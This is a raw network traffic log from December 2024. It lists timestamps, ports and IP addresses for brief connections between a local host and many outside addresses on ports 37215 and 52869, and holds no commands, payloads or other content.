Dec 4, 2024 20:34:24.862890005 CET	37215	60275	197.81.195.223	192.168.2.14
Dec 4, 2024 20:34:24.862895012 CET	60275	37215	192.168.2.14	156.52.44.221
Dec 4, 2024 20:34:24.862915993 CET	37215	60275	156.222.222.162	192.168.2.14
Dec 4, 2024 20:34:24.862962008 CET	60275	37215	192.168.2.14	197.81.195.223
Dec 4, 2024 20:34:24.862965107 CET	60275	37215	192.168.2.14	156.222.222.162
Dec 4, 2024 20:34:24.862968922 CET	37215	60275	41.236.190.173	192.168.2.14
Dec 4, 2024 20:34:24.863008976 CET	60275	37215	192.168.2.14	41.236.190.173
Dec 4, 2024 20:34:24.863025904 CET	37215	60275	41.50.250.171	192.168.2.14
Dec 4, 2024 20:34:24.863035917 CET	37215	60275	197.13.176.16	192.168.2.14
Dec 4, 2024 20:34:24.863066912 CET	60275	37215	192.168.2.14	41.50.250.171
Dec 4, 2024 20:34:24.863069057 CET	60275	37215	192.168.2.14	197.13.176.16
Dec 4, 2024 20:34:24.863111973 CET	37215	60275	156.52.151.6	192.168.2.14
Dec 4, 2024 20:34:24.863121986 CET	37215	60275	156.111.41.53	192.168.2.14
Dec 4, 2024 20:34:24.863152027 CET	60275	37215	192.168.2.14	156.52.151.6
Dec 4, 2024 20:34:24.863152981 CET	60275	37215	192.168.2.14	156.111.41.53
Dec 4, 2024 20:34:24.863168001 CET	37215	60275	156.240.193.185	192.168.2.14
Dec 4, 2024 20:34:24.863217115 CET	60275	37215	192.168.2.14	156.240.193.185
Dec 4, 2024 20:34:24.863219976 CET	37215	60275	41.240.184.136	192.168.2.14
Dec 4, 2024 20:34:24.863265038 CET	37215	60275	41.154.251.104	192.168.2.14
Dec 4, 2024 20:34:24.863267899 CET	60275	37215	192.168.2.14	41.240.184.136
Dec 4, 2024 20:34:24.863274097 CET	37215	60275	41.50.243.152	192.168.2.14
Dec 4, 2024 20:34:24.863282919 CET	37215	60275	156.99.125.25	192.168.2.14
Dec 4, 2024 20:34:24.863291979 CET	37215	60275	197.223.25.131	192.168.2.14
Dec 4, 2024 20:34:24.863300085 CET	37215	60275	41.193.147.3	192.168.2.14
Dec 4, 2024 20:34:24.863322973 CET	37215	60275	197.161.52.83	192.168.2.14
Dec 4, 2024 20:34:24.863331079 CET	60275	37215	192.168.2.14	41.50.243.152
Dec 4, 2024 20:34:24.863332033 CET	60275	37215	192.168.2.14	41.154.251.104
Dec 4, 2024 20:34:24.863332987 CET	37215	60275	41.37.148.58	192.168.2.14
Dec 4, 2024 20:34:24.863341093 CET	37215	60275	41.68.214.235	192.168.2.14
Dec 4, 2024 20:34:24.863349915 CET	37215	60275	156.199.34.71	192.168.2.14
Dec 4, 2024 20:34:24.863383055 CET	60275	37215	192.168.2.14	156.99.125.25
Dec 4, 2024 20:34:24.863384962 CET	60275	37215	192.168.2.14	197.223.25.131
Dec 4, 2024 20:34:24.863384962 CET	60275	37215	192.168.2.14	41.193.147.3
Dec 4, 2024 20:34:24.863399029 CET	60275	37215	192.168.2.14	197.161.52.83
Dec 4, 2024 20:34:24.863399982 CET	60275	37215	192.168.2.14	41.37.148.58
Dec 4, 2024 20:34:24.863404036 CET	60275	37215	192.168.2.14	41.68.214.235
Dec 4, 2024 20:34:24.863404036 CET	60275	37215	192.168.2.14	156.199.34.71
Dec 4, 2024 20:34:24.863560915 CET	37215	60275	197.253.152.21	192.168.2.14
Dec 4, 2024 20:34:24.863569021 CET	37215	60275	156.12.160.53	192.168.2.14
Dec 4, 2024 20:34:24.863578081 CET	37215	60275	197.216.242.127	192.168.2.14
Dec 4, 2024 20:34:24.863581896 CET	37215	60275	156.123.130.208	192.168.2.14
Dec 4, 2024 20:34:24.863590002 CET	37215	60275	41.167.247.111	192.168.2.14
Dec 4, 2024 20:34:24.863599062 CET	37215	60275	197.187.154.219	192.168.2.14
Dec 4, 2024 20:34:24.863607883 CET	37215	60275	41.83.19.18	192.168.2.14
Dec 4, 2024 20:34:24.863611937 CET	60275	37215	192.168.2.14	197.216.242.127
Dec 4, 2024 20:34:24.863611937 CET	60275	37215	192.168.2.14	197.253.152.21
Dec 4, 2024 20:34:24.863611937 CET	60275	37215	192.168.2.14	156.12.160.53
Dec 4, 2024 20:34:24.863617897 CET	37215	60275	197.96.125.129	192.168.2.14
Dec 4, 2024 20:34:24.863625050 CET	60275	37215	192.168.2.14	41.167.247.111
Dec 4, 2024 20:34:24.863625050 CET	60275	37215	192.168.2.14	197.187.154.219
Dec 4, 2024 20:34:24.863625050 CET	60275	37215	192.168.2.14	156.123.130.208
Dec 4, 2024 20:34:24.863641977 CET	60275	37215	192.168.2.14	197.96.125.129
Dec 4, 2024 20:34:24.863645077 CET	60275	37215	192.168.2.14	41.83.19.18
Dec 4, 2024 20:34:24.864068031 CET	37215	60275	197.185.168.250	192.168.2.14
Dec 4, 2024 20:34:24.864084959 CET	37215	60275	156.94.32.15	192.168.2.14
Dec 4, 2024 20:34:24.864109993 CET	60275	37215	192.168.2.14	197.185.168.250
Dec 4, 2024 20:34:24.864116907 CET	60275	37215	192.168.2.14	156.94.32.15
Dec 4, 2024 20:34:24.864126921 CET	37215	60275	197.160.155.168	192.168.2.14
Dec 4, 2024 20:34:24.864171028 CET	60275	37215	192.168.2.14	197.160.155.168
Dec 4, 2024 20:34:24.864176035 CET	37215	60275	41.38.152.204	192.168.2.14
Dec 4, 2024 20:34:24.864185095 CET	37215	60275	41.45.92.114	192.168.2.14
Dec 4, 2024 20:34:24.864192963 CET	37215	60275	197.146.104.57	192.168.2.14
Dec 4, 2024 20:34:24.864202023 CET	37215	60275	197.118.117.49	192.168.2.14
Dec 4, 2024 20:34:24.864206076 CET	37215	60275	156.42.76.161	192.168.2.14
Dec 4, 2024 20:34:24.864216089 CET	60275	37215	192.168.2.14	41.45.92.114
Dec 4, 2024 20:34:24.864217043 CET	60275	37215	192.168.2.14	41.38.152.204
Dec 4, 2024 20:34:24.864223957 CET	37215	60275	156.48.0.6	192.168.2.14
Dec 4, 2024 20:34:24.864229918 CET	60275	37215	192.168.2.14	197.146.104.57
Dec 4, 2024 20:34:24.864233017 CET	60275	37215	192.168.2.14	197.118.117.49
Dec 4, 2024 20:34:24.864236116 CET	60275	37215	192.168.2.14	156.42.76.161
Dec 4, 2024 20:34:24.864242077 CET	37215	60275	41.221.49.86	192.168.2.14
Dec 4, 2024 20:34:24.864258051 CET	37215	60275	41.197.169.128	192.168.2.14
Dec 4, 2024 20:34:24.864268064 CET	52869	60019	156.8.70.59	192.168.2.14
Dec 4, 2024 20:34:24.864278078 CET	60275	37215	192.168.2.14	156.48.0.6
Dec 4, 2024 20:34:24.864278078 CET	60275	37215	192.168.2.14	41.221.49.86
Dec 4, 2024 20:34:24.864295959 CET	60019	52869	192.168.2.14	156.8.70.59
Dec 4, 2024 20:34:24.864300966 CET	60275	37215	192.168.2.14	41.197.169.128
Dec 4, 2024 20:34:24.864303112 CET	52869	60019	41.45.164.59	192.168.2.14
Dec 4, 2024 20:34:24.864312887 CET	52869	60019	197.100.203.233	192.168.2.14
Dec 4, 2024 20:34:24.864320993 CET	52869	60019	197.17.98.59	192.168.2.14
Dec 4, 2024 20:34:24.864340067 CET	60019	52869	192.168.2.14	197.100.203.233
Dec 4, 2024 20:34:24.864342928 CET	60019	52869	192.168.2.14	41.45.164.59
Dec 4, 2024 20:34:24.864351034 CET	52869	60019	41.14.94.80	192.168.2.14
Dec 4, 2024 20:34:24.864358902 CET	60019	52869	192.168.2.14	197.17.98.59
Dec 4, 2024 20:34:24.864361048 CET	52869	60019	41.249.205.217	192.168.2.14
Dec 4, 2024 20:34:24.864389896 CET	60019	52869	192.168.2.14	41.14.94.80
Dec 4, 2024 20:34:24.864389896 CET	60019	52869	192.168.2.14	41.249.205.217
Dec 4, 2024 20:34:24.864399910 CET	52869	60019	41.56.70.253	192.168.2.14
Dec 4, 2024 20:34:24.864409924 CET	52869	60019	197.84.162.109	192.168.2.14
Dec 4, 2024 20:34:24.864420891 CET	52869	60019	41.225.142.32	192.168.2.14
Dec 4, 2024 20:34:24.864429951 CET	52869	60019	197.167.69.48	192.168.2.14
Dec 4, 2024 20:34:24.864438057 CET	60019	52869	192.168.2.14	197.84.162.109
Dec 4, 2024 20:34:24.864442110 CET	60019	52869	192.168.2.14	41.56.70.253
Dec 4, 2024 20:34:24.864459038 CET	60019	52869	192.168.2.14	41.225.142.32
Dec 4, 2024 20:34:24.864460945 CET	60019	52869	192.168.2.14	197.167.69.48
Dec 4, 2024 20:34:24.864790916 CET	52869	60019	197.242.61.235	192.168.2.14
Dec 4, 2024 20:34:24.864799976 CET	52869	60019	197.81.171.85	192.168.2.14
Dec 4, 2024 20:34:24.864808083 CET	52869	60019	156.208.148.221	192.168.2.14
Dec 4, 2024 20:34:24.864816904 CET	52869	60019	156.41.144.108	192.168.2.14
Dec 4, 2024 20:34:24.864825964 CET	52869	60019	197.244.34.203	192.168.2.14
Dec 4, 2024 20:34:24.864825964 CET	60019	52869	192.168.2.14	197.242.61.235
Dec 4, 2024 20:34:24.864829063 CET	60019	52869	192.168.2.14	197.81.171.85
Dec 4, 2024 20:34:24.864834070 CET	60019	52869	192.168.2.14	156.208.148.221
Dec 4, 2024 20:34:24.864841938 CET	52869	60019	156.5.249.194	192.168.2.14
Dec 4, 2024 20:34:24.864851952 CET	60019	52869	192.168.2.14	156.41.144.108
Dec 4, 2024 20:34:24.864852905 CET	52869	60019	197.224.118.56	192.168.2.14
Dec 4, 2024 20:34:24.864867926 CET	60019	52869	192.168.2.14	197.244.34.203
Dec 4, 2024 20:34:24.864877939 CET	60019	52869	192.168.2.14	156.5.249.194
Dec 4, 2024 20:34:24.864888906 CET	60019	52869	192.168.2.14	197.224.118.56
Dec 4, 2024 20:34:24.865170002 CET	52869	60019	197.12.80.19	192.168.2.14
Dec 4, 2024 20:34:24.865185976 CET	52869	60019	41.147.22.245	192.168.2.14
Dec 4, 2024 20:34:24.865214109 CET	60019	52869	192.168.2.14	197.12.80.19
Dec 4, 2024 20:34:24.865223885 CET	60019	52869	192.168.2.14	41.147.22.245
Dec 4, 2024 20:34:24.865252018 CET	52869	60019	41.222.40.85	192.168.2.14
Dec 4, 2024 20:34:24.865262032 CET	52869	60019	197.34.57.5	192.168.2.14
Dec 4, 2024 20:34:24.865269899 CET	52869	60019	156.251.33.16	192.168.2.14
Dec 4, 2024 20:34:24.865278959 CET	52869	60019	41.28.38.187	192.168.2.14
Dec 4, 2024 20:34:24.865288973 CET	52869	60019	197.49.3.174	192.168.2.14
Dec 4, 2024 20:34:24.865292072 CET	60019	52869	192.168.2.14	41.222.40.85
Dec 4, 2024 20:34:24.865292072 CET	60019	52869	192.168.2.14	197.34.57.5
Dec 4, 2024 20:34:24.865308046 CET	52869	60019	156.239.225.144	192.168.2.14
Dec 4, 2024 20:34:24.865318060 CET	60019	52869	192.168.2.14	197.49.3.174
Dec 4, 2024 20:34:24.865318060 CET	60019	52869	192.168.2.14	156.251.33.16
Dec 4, 2024 20:34:24.865318060 CET	60019	52869	192.168.2.14	41.28.38.187
Dec 4, 2024 20:34:24.865330935 CET	52869	60019	41.145.72.210	192.168.2.14
Dec 4, 2024 20:34:24.865339994 CET	52869	60019	156.186.204.57	192.168.2.14
Dec 4, 2024 20:34:24.865348101 CET	52869	60019	41.77.255.149	192.168.2.14
Dec 4, 2024 20:34:24.865350008 CET	60019	52869	192.168.2.14	156.239.225.144
Dec 4, 2024 20:34:24.865367889 CET	60019	52869	192.168.2.14	41.145.72.210
Dec 4, 2024 20:34:24.865369081 CET	60019	52869	192.168.2.14	156.186.204.57
Dec 4, 2024 20:34:24.865377903 CET	60019	52869	192.168.2.14	41.77.255.149
Dec 4, 2024 20:34:24.865426064 CET	52869	60019	156.103.1.233	192.168.2.14
Dec 4, 2024 20:34:24.865434885 CET	52869	60019	41.216.109.25	192.168.2.14
Dec 4, 2024 20:34:24.865439892 CET	52869	60019	197.67.208.230	192.168.2.14
Dec 4, 2024 20:34:24.865443945 CET	52869	60019	156.157.84.39	192.168.2.14
Dec 4, 2024 20:34:24.865453959 CET	52869	60019	156.129.59.113	192.168.2.14
Dec 4, 2024 20:34:24.865463018 CET	52869	60019	197.185.181.240	192.168.2.14
Dec 4, 2024 20:34:24.865464926 CET	60019	52869	192.168.2.14	156.103.1.233
Dec 4, 2024 20:34:24.865468025 CET	52869	60019	41.10.144.217	192.168.2.14
Dec 4, 2024 20:34:24.865469933 CET	60019	52869	192.168.2.14	197.67.208.230
Dec 4, 2024 20:34:24.865470886 CET	60019	52869	192.168.2.14	41.216.109.25
Dec 4, 2024 20:34:24.865479946 CET	52869	60019	156.151.9.8	192.168.2.14
Dec 4, 2024 20:34:24.865484953 CET	60019	52869	192.168.2.14	156.157.84.39
Dec 4, 2024 20:34:24.865485907 CET	60019	52869	192.168.2.14	156.129.59.113
Dec 4, 2024 20:34:24.865485907 CET	60019	52869	192.168.2.14	197.185.181.240
Dec 4, 2024 20:34:24.865493059 CET	52869	60019	156.193.124.25	192.168.2.14
Dec 4, 2024 20:34:24.865499020 CET	60019	52869	192.168.2.14	41.10.144.217
Dec 4, 2024 20:34:24.865508080 CET	60019	52869	192.168.2.14	156.151.9.8
Dec 4, 2024 20:34:24.865530014 CET	60019	52869	192.168.2.14	156.193.124.25
Dec 4, 2024 20:34:24.865554094 CET	52869	60019	156.52.104.180	192.168.2.14
Dec 4, 2024 20:34:24.865567923 CET	52869	60019	197.144.223.218	192.168.2.14
Dec 4, 2024 20:34:24.865576982 CET	52869	60019	197.197.108.71	192.168.2.14
Dec 4, 2024 20:34:24.865586042 CET	60019	52869	192.168.2.14	156.52.104.180
Dec 4, 2024 20:34:24.865592957 CET	52869	60019	156.50.94.190	192.168.2.14
Dec 4, 2024 20:34:24.865597010 CET	60019	52869	192.168.2.14	197.144.223.218
Dec 4, 2024 20:34:24.865602016 CET	52869	60019	41.74.170.175	192.168.2.14
Dec 4, 2024 20:34:24.865607977 CET	60019	52869	192.168.2.14	197.197.108.71
Dec 4, 2024 20:34:24.865612030 CET	52869	60019	156.26.247.100	192.168.2.14
Dec 4, 2024 20:34:24.865622044 CET	52869	60019	156.97.76.206	192.168.2.14
Dec 4, 2024 20:34:24.865628958 CET	60019	52869	192.168.2.14	41.74.170.175
Dec 4, 2024 20:34:24.865629911 CET	52869	60019	41.176.223.72	192.168.2.14
Dec 4, 2024 20:34:24.865629911 CET	60019	52869	192.168.2.14	156.50.94.190
Dec 4, 2024 20:34:24.865645885 CET	60019	52869	192.168.2.14	156.26.247.100
Dec 4, 2024 20:34:24.865649939 CET	60019	52869	192.168.2.14	156.97.76.206
Dec 4, 2024 20:34:24.865664959 CET	60019	52869	192.168.2.14	41.176.223.72
Dec 4, 2024 20:34:24.866283894 CET	52869	60019	156.27.26.37	192.168.2.14
Dec 4, 2024 20:34:24.866321087 CET	60019	52869	192.168.2.14	156.27.26.37
Dec 4, 2024 20:34:24.866329908 CET	52869	60019	41.74.94.58	192.168.2.14
Dec 4, 2024 20:34:24.866370916 CET	60019	52869	192.168.2.14	41.74.94.58
Dec 4, 2024 20:34:24.866378069 CET	52869	60019	156.96.3.63	192.168.2.14
Dec 4, 2024 20:34:24.866388083 CET	52869	60019	156.97.144.18	192.168.2.14
Dec 4, 2024 20:34:24.866396904 CET	52869	60019	41.204.105.141	192.168.2.14
Dec 4, 2024 20:34:24.866405964 CET	52869	60019	41.163.177.16	192.168.2.14
Dec 4, 2024 20:34:24.866417885 CET	60019	52869	192.168.2.14	156.96.3.63
Dec 4, 2024 20:34:24.866424084 CET	60019	52869	192.168.2.14	41.204.105.141
Dec 4, 2024 20:34:24.866425037 CET	52869	60019	41.79.6.226	192.168.2.14
Dec 4, 2024 20:34:24.866426945 CET	60019	52869	192.168.2.14	156.97.144.18
Dec 4, 2024 20:34:24.866435051 CET	60019	52869	192.168.2.14	41.163.177.16
Dec 4, 2024 20:34:24.866444111 CET	52869	60019	41.237.11.232	192.168.2.14
Dec 4, 2024 20:34:24.866461039 CET	52869	60019	41.113.120.135	192.168.2.14
Dec 4, 2024 20:34:24.866465092 CET	60019	52869	192.168.2.14	41.79.6.226
Dec 4, 2024 20:34:24.866472006 CET	52869	60019	41.21.41.116	192.168.2.14
Dec 4, 2024 20:34:24.866472960 CET	60019	52869	192.168.2.14	41.237.11.232
Dec 4, 2024 20:34:24.866498947 CET	60019	52869	192.168.2.14	41.113.120.135
Dec 4, 2024 20:34:24.866498947 CET	60019	52869	192.168.2.14	41.21.41.116
Dec 4, 2024 20:34:24.866553068 CET	52869	60019	197.169.31.178	192.168.2.14
Dec 4, 2024 20:34:24.866561890 CET	52869	60019	197.155.84.166	192.168.2.14
Dec 4, 2024 20:34:24.866565943 CET	52869	60019	41.32.234.153	192.168.2.14
Dec 4, 2024 20:34:24.866584063 CET	52869	60019	156.222.152.148	192.168.2.14
Dec 4, 2024 20:34:24.866595030 CET	60019	52869	192.168.2.14	197.169.31.178
Dec 4, 2024 20:34:24.866595984 CET	52869	60019	156.100.188.199	192.168.2.14
Dec 4, 2024 20:34:24.866601944 CET	60019	52869	192.168.2.14	41.32.234.153
Dec 4, 2024 20:34:24.866601944 CET	60019	52869	192.168.2.14	197.155.84.166
Dec 4, 2024 20:34:24.866612911 CET	52869	60019	197.46.4.32	192.168.2.14
Dec 4, 2024 20:34:24.866622925 CET	60019	52869	192.168.2.14	156.222.152.148
Dec 4, 2024 20:34:24.866622925 CET	52869	60019	197.82.92.161	192.168.2.14
Dec 4, 2024 20:34:24.866631985 CET	60019	52869	192.168.2.14	156.100.188.199
Dec 4, 2024 20:34:24.866650105 CET	60019	52869	192.168.2.14	197.46.4.32
Dec 4, 2024 20:34:24.866656065 CET	60019	52869	192.168.2.14	197.82.92.161
Dec 4, 2024 20:34:24.866981030 CET	52869	60019	41.39.129.65	192.168.2.14
Dec 4, 2024 20:34:24.866991043 CET	52869	60019	197.77.192.94	192.168.2.14
Dec 4, 2024 20:34:24.867001057 CET	52869	60019	41.128.45.189	192.168.2.14
Dec 4, 2024 20:34:24.867010117 CET	52869	60019	41.199.125.37	192.168.2.14
Dec 4, 2024 20:34:24.867017031 CET	60019	52869	192.168.2.14	41.39.129.65
Dec 4, 2024 20:34:24.867022991 CET	60019	52869	192.168.2.14	197.77.192.94
Dec 4, 2024 20:34:24.867024899 CET	52869	60019	197.231.129.21	192.168.2.14
Dec 4, 2024 20:34:24.867029905 CET	60019	52869	192.168.2.14	41.128.45.189
Dec 4, 2024 20:34:24.867034912 CET	52869	60019	41.108.221.206	192.168.2.14
Dec 4, 2024 20:34:24.867043972 CET	52869	60019	156.251.61.241	192.168.2.14
Dec 4, 2024 20:34:24.867043972 CET	60019	52869	192.168.2.14	41.199.125.37
Dec 4, 2024 20:34:24.867058039 CET	60019	52869	192.168.2.14	41.108.221.206
Dec 4, 2024 20:34:24.867062092 CET	60019	52869	192.168.2.14	197.231.129.21
Dec 4, 2024 20:34:24.867063999 CET	52869	60019	41.137.95.88	192.168.2.14
Dec 4, 2024 20:34:24.867073059 CET	52869	60019	156.224.96.110	192.168.2.14
Dec 4, 2024 20:34:24.867080927 CET	52869	60019	197.244.109.129	192.168.2.14
Dec 4, 2024 20:34:24.867089033 CET	60019	52869	192.168.2.14	156.251.61.241
Dec 4, 2024 20:34:24.867089987 CET	52869	60019	197.236.23.102	192.168.2.14
Dec 4, 2024 20:34:24.867098093 CET	60019	52869	192.168.2.14	41.137.95.88
Dec 4, 2024 20:34:24.867100954 CET	60019	52869	192.168.2.14	156.224.96.110
Dec 4, 2024 20:34:24.867115021 CET	60019	52869	192.168.2.14	197.244.109.129
Dec 4, 2024 20:34:24.867130041 CET	60019	52869	192.168.2.14	197.236.23.102
Dec 4, 2024 20:34:24.867448092 CET	52869	60019	156.50.203.12	192.168.2.14
Dec 4, 2024 20:34:24.867465019 CET	52869	60019	156.44.167.108	192.168.2.14
Dec 4, 2024 20:34:24.867486954 CET	52869	60019	41.75.5.154	192.168.2.14
Dec 4, 2024 20:34:24.867489100 CET	60019	52869	192.168.2.14	156.50.203.12
Dec 4, 2024 20:34:24.867505074 CET	60019	52869	192.168.2.14	156.44.167.108
Dec 4, 2024 20:34:24.867521048 CET	60019	52869	192.168.2.14	41.75.5.154
Dec 4, 2024 20:34:24.867552996 CET	52869	60019	197.20.43.55	192.168.2.14
Dec 4, 2024 20:34:24.867563009 CET	52869	60019	156.2.24.80	192.168.2.14
Dec 4, 2024 20:34:24.867580891 CET	52869	60019	156.70.109.24	192.168.2.14
Dec 4, 2024 20:34:24.867592096 CET	52869	60019	197.18.82.129	192.168.2.14
Dec 4, 2024 20:34:24.867597103 CET	60019	52869	192.168.2.14	156.2.24.80
Dec 4, 2024 20:34:24.867599964 CET	60019	52869	192.168.2.14	197.20.43.55
Dec 4, 2024 20:34:24.867603064 CET	52869	60019	156.35.184.16	192.168.2.14
Dec 4, 2024 20:34:24.867624044 CET	60019	52869	192.168.2.14	197.18.82.129
Dec 4, 2024 20:34:24.867624998 CET	60019	52869	192.168.2.14	156.70.109.24
Dec 4, 2024 20:34:24.867636919 CET	60019	52869	192.168.2.14	156.35.184.16
Dec 4, 2024 20:34:24.867702007 CET	52869	60019	156.91.137.82	192.168.2.14
Dec 4, 2024 20:34:24.867711067 CET	52869	60019	197.106.245.35	192.168.2.14
Dec 4, 2024 20:34:24.867737055 CET	60019	52869	192.168.2.14	156.91.137.82
Dec 4, 2024 20:34:24.867747068 CET	60019	52869	192.168.2.14	197.106.245.35
Dec 4, 2024 20:34:24.867754936 CET	52869	60019	156.167.31.214	192.168.2.14
Dec 4, 2024 20:34:24.867765903 CET	52869	60019	197.132.36.153	192.168.2.14
Dec 4, 2024 20:34:24.867774010 CET	52869	60019	41.250.231.178	192.168.2.14
Dec 4, 2024 20:34:24.867791891 CET	52869	60019	41.222.2.218	192.168.2.14
Dec 4, 2024 20:34:24.867794991 CET	60019	52869	192.168.2.14	156.167.31.214
Dec 4, 2024 20:34:24.867799044 CET	60019	52869	192.168.2.14	197.132.36.153
Dec 4, 2024 20:34:24.867803097 CET	60019	52869	192.168.2.14	41.250.231.178
Dec 4, 2024 20:34:24.867804050 CET	52869	60019	197.67.198.91	192.168.2.14
Dec 4, 2024 20:34:24.867814064 CET	52869	60019	156.169.210.141	192.168.2.14
Dec 4, 2024 20:34:24.867830038 CET	52869	60019	156.101.231.36	192.168.2.14
Dec 4, 2024 20:34:24.867832899 CET	60019	52869	192.168.2.14	41.222.2.218
Dec 4, 2024 20:34:24.867835045 CET	60019	52869	192.168.2.14	197.67.198.91
Dec 4, 2024 20:34:24.867839098 CET	60019	52869	192.168.2.14	156.169.210.141
Dec 4, 2024 20:34:24.867847919 CET	52869	60019	197.75.183.158	192.168.2.14
Dec 4, 2024 20:34:24.867861032 CET	52869	60019	41.22.252.57	192.168.2.14
Dec 4, 2024 20:34:24.867866039 CET	60019	52869	192.168.2.14	156.101.231.36
Dec 4, 2024 20:34:24.867878914 CET	52869	60019	156.110.69.141	192.168.2.14
Dec 4, 2024 20:34:24.867885113 CET	60019	52869	192.168.2.14	197.75.183.158
Dec 4, 2024 20:34:24.867887974 CET	52869	60019	197.226.61.3	192.168.2.14
Dec 4, 2024 20:34:24.867897034 CET	52869	60019	197.204.224.192	192.168.2.14
Dec 4, 2024 20:34:24.867897987 CET	60019	52869	192.168.2.14	41.22.252.57
Dec 4, 2024 20:34:24.867912054 CET	60019	52869	192.168.2.14	156.110.69.141
Dec 4, 2024 20:34:24.867917061 CET	60019	52869	192.168.2.14	197.226.61.3
Dec 4, 2024 20:34:24.867922068 CET	60019	52869	192.168.2.14	197.204.224.192
Dec 4, 2024 20:34:24.867930889 CET	52869	60019	41.88.95.100	192.168.2.14
Dec 4, 2024 20:34:24.867940903 CET	52869	60019	156.133.73.245	192.168.2.14
Dec 4, 2024 20:34:24.867948055 CET	52869	60019	197.58.230.134	192.168.2.14
Dec 4, 2024 20:34:24.867973089 CET	60019	52869	192.168.2.14	41.88.95.100
Dec 4, 2024 20:34:24.867973089 CET	52869	60019	41.53.225.246	192.168.2.14
Dec 4, 2024 20:34:24.867976904 CET	60019	52869	192.168.2.14	156.133.73.245
Dec 4, 2024 20:34:24.867980957 CET	60019	52869	192.168.2.14	197.58.230.134
Dec 4, 2024 20:34:24.867984056 CET	52869	60019	197.95.40.244	192.168.2.14
Dec 4, 2024 20:34:24.867993116 CET	52869	60019	197.67.191.174	192.168.2.14
Dec 4, 2024 20:34:24.868010998 CET	60019	52869	192.168.2.14	41.53.225.246
Dec 4, 2024 20:34:24.868010998 CET	60019	52869	192.168.2.14	197.95.40.244
Dec 4, 2024 20:34:24.868029118 CET	60019	52869	192.168.2.14	197.67.191.174
Dec 4, 2024 20:34:24.868870974 CET	52869	60019	156.198.127.12	192.168.2.14
Dec 4, 2024 20:34:24.868880033 CET	52869	60019	197.77.83.228	192.168.2.14
Dec 4, 2024 20:34:24.868889093 CET	52869	60019	156.98.25.68	192.168.2.14
Dec 4, 2024 20:34:24.868897915 CET	52869	60019	41.31.63.226	192.168.2.14
Dec 4, 2024 20:34:24.868910074 CET	52869	60019	156.228.198.11	192.168.2.14
Dec 4, 2024 20:34:24.868912935 CET	60019	52869	192.168.2.14	156.198.127.12
Dec 4, 2024 20:34:24.868915081 CET	60019	52869	192.168.2.14	197.77.83.228
Dec 4, 2024 20:34:24.868917942 CET	60019	52869	192.168.2.14	156.98.25.68
Dec 4, 2024 20:34:24.868926048 CET	52869	60019	41.144.27.200	192.168.2.14
Dec 4, 2024 20:34:24.868927002 CET	60019	52869	192.168.2.14	41.31.63.226
Dec 4, 2024 20:34:24.868936062 CET	52869	60019	41.230.95.244	192.168.2.14
Dec 4, 2024 20:34:24.868943930 CET	60019	52869	192.168.2.14	156.228.198.11
Dec 4, 2024 20:34:24.868953943 CET	60019	52869	192.168.2.14	41.144.27.200
Dec 4, 2024 20:34:24.868962049 CET	60019	52869	192.168.2.14	41.230.95.244
Dec 4, 2024 20:34:24.868968964 CET	52869	60019	41.143.210.44	192.168.2.14
Dec 4, 2024 20:34:24.869007111 CET	60019	52869	192.168.2.14	41.143.210.44
Dec 4, 2024 20:34:24.869033098 CET	52869	60019	41.179.188.20	192.168.2.14
Dec 4, 2024 20:34:24.869043112 CET	52869	60019	197.22.176.212	192.168.2.14
Dec 4, 2024 20:34:24.869072914 CET	60019	52869	192.168.2.14	41.179.188.20
Dec 4, 2024 20:34:24.869076014 CET	60019	52869	192.168.2.14	197.22.176.212
Dec 4, 2024 20:34:24.869117022 CET	52869	60019	41.145.115.97	192.168.2.14
Dec 4, 2024 20:34:24.869127989 CET	52869	60019	41.39.238.174	192.168.2.14
Dec 4, 2024 20:34:24.869137049 CET	52869	60019	156.195.171.16	192.168.2.14
Dec 4, 2024 20:34:24.869147062 CET	52869	60019	156.238.85.110	192.168.2.14
Dec 4, 2024 20:34:24.869157076 CET	60019	52869	192.168.2.14	41.39.238.174
Dec 4, 2024 20:34:24.869158030 CET	60019	52869	192.168.2.14	156.195.171.16
Dec 4, 2024 20:34:24.869158030 CET	60019	52869	192.168.2.14	41.145.115.97
Dec 4, 2024 20:34:24.869165897 CET	52869	60019	197.200.20.209	192.168.2.14
Dec 4, 2024 20:34:24.869174957 CET	52869	60019	156.42.183.141	192.168.2.14
Dec 4, 2024 20:34:24.869178057 CET	60019	52869	192.168.2.14	156.238.85.110
Dec 4, 2024 20:34:24.869184971 CET	52869	60019	197.205.148.228	192.168.2.14
Dec 4, 2024 20:34:24.869194984 CET	52869	60019	156.241.58.16	192.168.2.14
Dec 4, 2024 20:34:24.869195938 CET	60019	52869	192.168.2.14	197.200.20.209
Dec 4, 2024 20:34:24.869203091 CET	60019	52869	192.168.2.14	156.42.183.141
Dec 4, 2024 20:34:24.869204044 CET	52869	60019	156.44.165.133	192.168.2.14
Dec 4, 2024 20:34:24.869213104 CET	52869	60019	41.169.170.32	192.168.2.14
Dec 4, 2024 20:34:24.869225979 CET	60019	52869	192.168.2.14	197.205.148.228
Dec 4, 2024 20:34:24.869225979 CET	60019	52869	192.168.2.14	156.44.165.133
Dec 4, 2024 20:34:24.869226933 CET	60019	52869	192.168.2.14	156.241.58.16
Dec 4, 2024 20:34:24.869231939 CET	52869	60019	156.93.147.57	192.168.2.14
Dec 4, 2024 20:34:24.869242907 CET	52869	60019	41.98.249.24	192.168.2.14
Dec 4, 2024 20:34:24.869245052 CET	60019	52869	192.168.2.14	41.169.170.32
Dec 4, 2024 20:34:24.869251013 CET	52869	60019	41.197.211.16	192.168.2.14
Dec 4, 2024 20:34:24.869261026 CET	52869	60019	156.39.211.141	192.168.2.14
Dec 4, 2024 20:34:24.869268894 CET	60019	52869	192.168.2.14	156.93.147.57
Dec 4, 2024 20:34:24.869277000 CET	52869	60019	197.24.59.128	192.168.2.14
Dec 4, 2024 20:34:24.869278908 CET	60019	52869	192.168.2.14	41.98.249.24
Dec 4, 2024 20:34:24.869282007 CET	60019	52869	192.168.2.14	41.197.211.16
Dec 4, 2024 20:34:24.869282007 CET	60019	52869	192.168.2.14	156.39.211.141
Dec 4, 2024 20:34:24.869292974 CET	52869	60019	41.47.142.217	192.168.2.14
Dec 4, 2024 20:34:24.869302988 CET	52869	60019	156.39.77.64	192.168.2.14
Dec 4, 2024 20:34:24.869311094 CET	60019	52869	192.168.2.14	197.24.59.128
Dec 4, 2024 20:34:24.869317055 CET	52869	60019	156.110.42.117	192.168.2.14
Dec 4, 2024 20:34:24.869328976 CET	60019	52869	192.168.2.14	41.47.142.217
Dec 4, 2024 20:34:24.869328976 CET	60019	52869	192.168.2.14	156.39.77.64
Dec 4, 2024 20:34:24.869352102 CET	60019	52869	192.168.2.14	156.110.42.117
